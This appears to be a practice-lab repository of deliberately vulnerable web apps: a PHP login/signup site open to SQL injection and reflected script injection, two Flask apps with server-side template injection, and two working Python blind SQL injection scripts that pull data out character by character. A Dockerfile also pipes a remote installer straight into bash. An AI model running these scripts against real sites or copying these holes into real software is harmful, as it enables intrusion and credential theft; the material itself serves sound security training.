├── DockerMachine ├── Dockerfile └── root.sh ├── README.md ├── sql_injection ├── Dockerfile ├── README.md ├── docker-compose.yml ├── img │ ├── 1.create_db.png │ ├── 2.sql_command.png │ ├── 3.execute.png │ └── ports.png ├── solution │ ├── sqlinj_script_login.py │ └── sqlinj_script_register.py ├── sql │ └── sql.sql └── src │ ├── css │ └── style.css │ ├── database.php │ ├── index.php │ ├── login.php │ ├── logout.php │ ├── profile.php │ └── signup.php └── ssti ├── easy ├── Dockerfile ├── README.md └── app.py └── hard ├── Dockerfile ├── app.py └── templates ├── error.html ├── happiness.html └── index.html /DockerMachine/Dockerfile: -------------------------------------------------------------------------------- 1 | # docker build -t linuxctf . 2 | 3 | # If using Linux 4 | # docker run --rm -v "/Users/flex/:/macOS" --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -d --name linuxctf -i linuxctf 5 | # docker exec -it ctf /bin/bash 6 | 7 | #FROM ubuntu:22.04 8 | FROM ubuntu:20.04 9 | ENV LC_CTYPE C.UTF-8 10 | ARG DEBIAN_FRONTEND=noninteractive 11 | 12 | RUN apt-get update 13 | RUN apt-get install -yq gcc make wget tmux neovim curl git vim unzip gdb clang llvm lld llvm-dev bsdmainutils libstdc++-10-dev python3 python3-pip python3-dev automake flex bison build-essential libglib2.0-dev libpixman-1-dev python3-setuptools 14 | RUN apt-get install -yq file binwalk flashrom golang-go 15 | # RUN cd /root/ && git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus && make source-only && make install 16 | RUN useradd -ms /bin/bash user 17 | RUN pip install ipython 18 | RUN pip install pwntools 19 | RUN python3 -m pip install ROPgadget 20 | RUN bash -c "$(wget https://gef.blah.cat/sh -O -)" 21 | RUN echo 'export PS1="\[\e]0;\u@\h: \w\a\]\[\033[01;31m\]\u\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# "' >> /root/.bashrc 22 | RUN echo 'export PS1="\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$ "' >> /home/user/.bashrc 23 | RUN apt-get install -yq qemu-system qemu-user-static 24 | # RUN apt-get install qemu-user-static 25 | RUN apt-get install cpio 26 | 27 | USER user 28 | # WORKDIR /home/user 29 | WORKDIR /macOS -------------------------------------------------------------------------------- /DockerMachine/root.sh: -------------------------------------------------------------------------------- 1 | docker run --rm -v "/Users/flex/:/macOS" --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -d --name linuxctf -i linuxctf 2 | docker exec -u root -it linuxctf /bin/bash -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DockerMachines 2 | This repository include Docker Machines for practicing on some of the Web Attacks. 3 | -------------------------------------------------------------------------------- /sql_injection/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | RUN docker-php-ext-install mysqli 3 | -------------------------------------------------------------------------------- /sql_injection/README.md: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | ## Run Docker 3 | 1. download the docker image 4 | 2. open folder using your terminal 5 | 3. run `docker-compose up` 6 | 7 | The application will run in port 80 and Database on port 8888 you can modify these ports on file `docker-compose.yml` 8 | ![ports](https://github.com/flex0geek/DockerMachines/blob/main/sql_injection/img/ports.png) 9 | 10 | ## Goal 11 | 1. don't look to the Source Code try it as a black box 12 | 2. don't use automation tools like SQLMap 13 | 3. write a script to admin's extract password from DB 14 | 4. there are 2 types of SQL injection in this machine try to find them. 15 | 16 | # if you can't write the script read this section. 17 | ## Solution 18 | 19 | if you can't write the script read this section. 20 | I will attach 2 scripts in python to extract data from the database using direct queries, how to use script? 21 | ``` 22 | script.py "" 23 | 24 | Exp: 25 | script.py localhost "select table_name from information_schema.tables where table_schema=database() limit 1,1" 26 | ``` 27 | if the query return an error or empty or more than one result the length will be None. 28 | 29 | SQL Commands you may need 30 | 1. create table and columns 31 | ``` 32 | CREATE TABLE `users` ( 33 | `fullname` varchar(255) NOT NULL, 34 | `username` varchar(255) NOT NULL UNIQUE, 35 | `password` varchar(255) NOT NULL, 36 | `email` varchar(255) NOT NULL 37 | ) 38 | ``` 39 | 2. Insert admin's information 40 | ``` 41 | INSERT INTO users VALUES('Admin User','admin','JustHARDpAsswd','admin@admin.com') 42 | ``` 43 | 3. To clear all data expect admin account 44 | ``` 45 | DELETE FROM users where username != 'admin' 46 | ``` 47 | -------------------------------------------------------------------------------- /sql_injection/docker-compose.yml: -------------------------------------------------------------------------------- 1 | # Use root/example 2 | version: '3.1' 3 | 4 | services: 5 | php: 6 | build: 7 | context: . 8 | dockerfile: Dockerfile 9 | ports: 10 | - 80:80 11 | volumes: 12 | - ./src:/var/www/html/ 13 | 14 | db: 15 | image: mysql 16 | command: --default-authentication-plugin=mysql_native_password --init-file /tmp/sql.sql 17 | restart: always 18 | environment: 19 | MYSQL_ROOT_PASSWORD: example 20 | volumes: 21 | - mysql-data:/var/lib/mysql 22 | - ./sql:/tmp/ 23 | 24 | adminer: 25 | image: adminer 26 | restart: always 27 | ports: 28 | - 8888:8080 29 | 30 | volumes: 31 | mysql-data: 32 | -------------------------------------------------------------------------------- /sql_injection/img/1.create_db.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flex0geek/DockerMachines/438121ca138571dae040b79cc9df6ea61ca144c4/sql_injection/img/1.create_db.png -------------------------------------------------------------------------------- /sql_injection/img/2.sql_command.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flex0geek/DockerMachines/438121ca138571dae040b79cc9df6ea61ca144c4/sql_injection/img/2.sql_command.png -------------------------------------------------------------------------------- /sql_injection/img/3.execute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flex0geek/DockerMachines/438121ca138571dae040b79cc9df6ea61ca144c4/sql_injection/img/3.execute.png -------------------------------------------------------------------------------- /sql_injection/img/ports.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flex0geek/DockerMachines/438121ca138571dae040b79cc9df6ea61ca144c4/sql_injection/img/ports.png -------------------------------------------------------------------------------- /sql_injection/solution/sqlinj_script_login.py: -------------------------------------------------------------------------------- 1 | import requests, sys 2 | 3 | url = "http://"+sys.argv[1]+"/login.php" # URL 4 | 5 | alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 6 | pos = 1 7 | query = sys.argv[2] 8 | 9 | def getLength(): 10 | for lng in range(1,100): 11 | payload = "' or length((%s))=%s#" % (query,str(lng)) 12 | data = { 13 | "uname": "x", 14 | "psw": payload, 15 | } 16 | # proxies = {"http":"http://127.0.0.1:2222"} 17 | # req = requests.post(url, data=data, allow_redirects=False, proxies=proxies) 18 | req = requests.post(url, data=data, allow_redirects=False) 19 | 20 | try: 21 | if "profile" in req.headers['location']: 22 | return lng 23 | break 24 | else: 25 | pass 26 | except KeyError: 27 | print("[-] Error with Query.") 28 | break 29 | 30 | def extract(length): 31 | out = [] 32 | for lng in range(1,length+1): 33 | for char in alpha: 34 | payload = "' or (ascii(substring(("+query+"),"+str(lng)+",1)))='"+str(ord(char))+"'#" 35 | data = { 36 | "uname": payload, 37 | "psw":"x", 38 | } 39 | # proxies = {"http":"http://127.0.0.1:2222"} 40 | #req = requests.post(url, data=data, allow_redirects=False, proxies=proxies) 41 | req = requests.post(url, data=data, allow_redirects=False) 42 | try: 43 | if "profile" in req.headers['location']: 44 | out.append(char) 45 | # pos+=1 46 | break 47 | else: 48 | pass 49 | except KeyError: 50 | print("[-] Error with Query.") 51 | break 52 | return ''.join(out) 53 | 54 | length = getLength() 55 | print ("Length: "+str(length)) 56 | if length != None: 57 | data = extract(length) 58 | print(data) -------------------------------------------------------------------------------- /sql_injection/solution/sqlinj_script_register.py: -------------------------------------------------------------------------------- 1 | import requests, sys 2 | 3 | urlLogin = "http://"+sys.argv[1]+"/login.php" # URL 4 | 5 | alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 6 | pos = 1 7 | query = sys.argv[2] 8 | 9 | def create(payload): 10 | urlSignup = "http://"+sys.argv[1]+"/signup.php" 11 | data = { 12 | "fname":"test", 13 | "email":"test@test.com", 14 | "psw":"x", 15 | "uname": payload, 16 | } 17 | # proxies = {"http":"http://127.0.0.1:2222"} 18 | # req = requests.post(urlSignup, data=data, proxies=proxies, allow_redirects=False) 19 | req = requests.post(urlSignup, data=data, allow_redirects=False) 20 | 21 | def getLength(): 22 | for lng in range(1,100): 23 | payload = "' or length((%s))=%s#" % (query,str(lng)) 24 | create(payload) 25 | 26 | data = { 27 | "uname": payload, 28 | "psw":"x", 29 | } 30 | 31 | # proxies = {"http":"http://127.0.0.1:2222"} 32 | # req = requests.post(urlLogin, data=data, proxies=proxies) 33 | req = requests.post(urlLogin, data=data) 34 | if "Welcome ' or " in req.text: 35 | return lng 36 | break 37 | 38 | def extract(length): 39 | out = [] 40 | for lng in range(1,length+1): 41 | for char in alpha: 42 | payload = "' or (ascii(substring(("+query+"),"+str(lng)+",1)))='"+str(ord(char))+"'#" 43 | create(payload) 44 | data = { 45 | "uname": payload, 46 | "psw":"x", 47 | } 48 | # proxies = {"http":"http://127.0.0.1:2222"} 49 | # req = requests.post(urlLogin, data=data, proxies=proxies) 50 | req = requests.post(urlLogin, data=data) 51 | try: 52 | if "Welcome ' or " in req.text: 53 | out.append(char) 54 | break 55 | else: 56 | pass 57 | except KeyError: 58 | print("[-] Error with Query.") 59 | break 60 | return ''.join(out) 61 | 62 | length = getLength() 63 | print ("Length: "+str(length)) 64 | if length != None: 65 | data = extract(length) 66 | print(data) -------------------------------------------------------------------------------- /sql_injection/sql/sql.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS chall;USE chall;DROP TABLE IF EXISTS users;CREATE TABLE `users` (`fullname` varchar(255) NOT NULL,`username` varchar(255) NOT NULL UNIQUE,`password` varchar(255) NOT NULL,`email` varchar(255) NOT NULL);INSERT INTO users VALUES('Admin User','admin','JustHARDpAsswd','admin@admin.com');DROP TABLE IF EXISTS command;CREATE TABLE `command` (`content` varchar(255) NOT NULL); -------------------------------------------------------------------------------- /sql_injection/src/css/style.css: -------------------------------------------------------------------------------- 1 | body {font-family: Arial, Helvetica, sans-serif;} 2 | 3 | /* Full-width input fields */ 4 | input[type=text], input[type=password],input[type=email],#logout { 5 | width: 100%; 6 | padding: 12px 20px; 7 | margin: 8px 0; 8 | display: inline-block; 9 | border: 1px solid #ccc; 10 | box-sizing: border-box; 11 | } 12 | 13 | /* Set a style for all buttons */ 14 | button { 15 | background-color: #04AA6D; 16 | color: white; 17 | padding: 14px 20px; 18 | margin: 8px 0; 19 | border: none; 20 | cursor: pointer; 21 | width: 100%; 22 | } 23 | 24 | button:hover { 25 | opacity: 0.8; 26 | } 27 | 28 | /* Extra styles for the cancel button */ 29 | .cancelbtn { 30 | width: auto; 31 | padding: 10px 18px; 32 | background-color: #f44336; 33 | } 34 | 35 | /* Center the image and position the close button */ 36 | .imgcontainer { 37 | text-align: center; 38 | margin: 24px 0 12px 0; 39 | position: relative; 40 | } 41 | 42 | img.avatar { 43 | width: 40%; 44 | border-radius: 50%; 45 | } 46 | 47 | .container { 48 | padding: 16px; 49 | } 50 | 51 | span.psw { 52 | float: right; 53 | padding-top: 16px; 54 | } 55 | 56 | /* The Modal (background) */ 57 | .modal { 58 | display: none; /* Hidden by default */ 59 | position: fixed; /* Stay in place */ 60 | z-index: 1; /* Sit on top */ 61 | left: 0; 62 | top: 0; 63 | width: 100%; /* Full width */ 64 | height: 100%; /* Full height */ 65 | overflow: auto; /* Enable scroll if needed */ 66 | background-color: rgb(0,0,0); /* Fallback color */ 67 | background-color: rgba(0,0,0,0.4); /* Black w/ opacity */ 68 | padding-top: 60px; 69 | } 70 | 71 | /* Modal Content/Box */ 72 | .modal-content { 73 | background-color: #fefefe; 74 | margin: 5% auto 15% auto; /* 5% from the top, 15% from the bottom and centered */ 75 | border: 1px solid #888; 76 | width: 80%; /* Could be more or less, depending on screen size */ 77 | } 78 | 79 | /* The Close Button (x) */ 80 | .close { 81 | position: absolute; 82 | right: 25px; 83 | top: 0; 84 | color: #000; 85 | font-size: 35px; 86 | font-weight: bold; 87 | } 88 | 89 | .close:hover, 90 | .close:focus { 91 | color: red; 92 | cursor: pointer; 93 | } 94 | 95 | /* Add Zoom Animation */ 96 | .animate { 97 | -webkit-animation: animatezoom 0.6s; 98 | animation: animatezoom 0.6s 99 | } 100 | 101 | @-webkit-keyframes animatezoom { 102 | from {-webkit-transform: scale(0)} 103 | to {-webkit-transform: scale(1)} 104 | } 105 | 106 | @keyframes animatezoom { 107 | from {transform: scale(0)} 108 | to {transform: scale(1)} 109 | } 110 | 111 | /* Change styles for span and cancel button on extra small screens */ 112 | @media screen and (max-width: 300px) { 113 | span.psw { 114 | display: block; 115 | float: none; 116 | } 117 | .cancelbtn { 118 | width: 100%; 119 | } 120 | } 121 | body{ 122 | background-color: #DDD; 123 | } -------------------------------------------------------------------------------- /sql_injection/src/database.php: -------------------------------------------------------------------------------- 1 | alert('".$_GET['msg']."')"; 5 | } 6 | ?> 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 |
19 | 20 | 46 | 47 | 75 | 76 | 77 | 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /sql_injection/src/login.php: -------------------------------------------------------------------------------- 1 | query($sql) ){ 16 | $data = mysqli_fetch_array($result); 17 | // print_r($data); 18 | if($data[2]){ 19 | $_SESSION['username'] = $data[1]; 20 | $_SESSION['email'] = $data[3]; 21 | $_SESSION['loggedin'] = 1; 22 | header("Location: /profile.php"); 23 | }else{ 24 | header("Location: /index.php?msg=Username/Password is wrong"); 25 | } 26 | } -------------------------------------------------------------------------------- /sql_injection/src/logout.php: -------------------------------------------------------------------------------- 1 | query($sql) ){ 15 | $data = mysqli_fetch_array($result); 16 | // print_r($data); 17 | $fullname= $data[0]; 18 | $username = $data[1]; 19 | $email = $data[3]; 20 | } 21 | // echo "test"; 22 | 23 | ?> 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | Profile 32 | 33 | 34 |
35 |

36 |

37 |

38 | 39 | Logout 40 |
41 | 42 | -------------------------------------------------------------------------------- /sql_injection/src/signup.php: -------------------------------------------------------------------------------- 1 | query($sql) ){ 16 | header("Location: /index.php?msg=Account Created."); 17 | }else{ 18 | header("Location: /index.php?msg=Username Wrong"); 19 | } -------------------------------------------------------------------------------- /ssti/easy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | COPY . /app 3 | WORKDIR /app 4 | RUN pip install flask 5 | ENTRYPOINT ["python"] 6 | CMD ["app.py"] -------------------------------------------------------------------------------- /ssti/easy/README.md: -------------------------------------------------------------------------------- 1 | ## Install 2 | ``` 3 | docker build -t ssti-app:latest . 4 | docker run -d -p 8080:8080 ssti-app:latest 5 | ``` -------------------------------------------------------------------------------- /ssti/easy/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | from flask import Flask, request, render_template_string, render_template 3 | app = Flask(__name__) 4 | 5 | @app.route('/') 6 | def hello_ssti(): 7 | if request.args.get('name'): 8 | name = request.args.get('name') 9 | template = '''

Hello %s!

''' % name 10 | return render_template_string(template) 11 | else: 12 | return "

Enter (name) parameter

" 13 | 14 | if __name__ == "__main__": 15 | port = int(os.environ.get("PORT", 8080)) 16 | app.run(debug=True,host='0.0.0.0',port=port) 17 | -------------------------------------------------------------------------------- /ssti/hard/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | COPY . /app 3 | WORKDIR /app 4 | RUN pip install flask 5 | EXPOSE 8020 6 | ENTRYPOINT ["python"] 7 | CMD ["app.py"] 8 | -------------------------------------------------------------------------------- /ssti/hard/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, \ 2 | render_template_string, render_template,redirect 3 | import os, random 4 | app = Flask(__name__) 5 | links = ["https://www.youtube.com/watch?v=YBS8rJvxnKo","https://www.youtube.com/watch?v=iik25wqIuFo"] 6 | 7 | @app.errorhandler(500) 8 | def server_error(e): 9 | return render_template('error.html'), 500 10 | 11 | @app.route('/') 12 | def index_page(): 13 | return render_template('index.html') 14 | 15 | @app.route("/happiness",methods=["POST"]) 16 | def hello_ssti(): 17 | output = "" 18 | if request.form.get('message'): 19 | name = request.form.get('message') 20 | for i in ["._","[","]"]: 21 | if i in name: 22 | return redirect(random.choice(links)) 23 | output = render_template_string('%s' % name.replace(".","").replace("_",'').replace("[","").replace("]","").replace(" ","")) 24 | return render_template("happiness.html",output=output) 25 | 26 | if __name__ == "__main__": 27 | port = int(os.environ.get("PORT", 8020)) 28 | app.run(debug=False,host='0.0.0.0',port=port) 29 | -------------------------------------------------------------------------------- /ssti/hard/templates/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Login 4 | 18 | 19 | 20 | 21 |

ERROR

22 | Trolle Face 23 | 24 | 25 | -------------------------------------------------------------------------------- /ssti/hard/templates/happiness.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | The happiness 4 | 27 | 28 | 29 | 30 |

The happiness

31 | troll face 32 |
33 |
34 |
35 |
36 |

Your Message

37 |
38 |

{{output}}

39 | 40 | 41 | -------------------------------------------------------------------------------- /ssti/hard/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Trolle Face blog 4 | 33 | 34 | 35 | trollface 36 |

How to find the happiness

37 |
38 |
39 | 40 |
41 | 42 |
43 | 44 | --------------------------------------------------------------------------------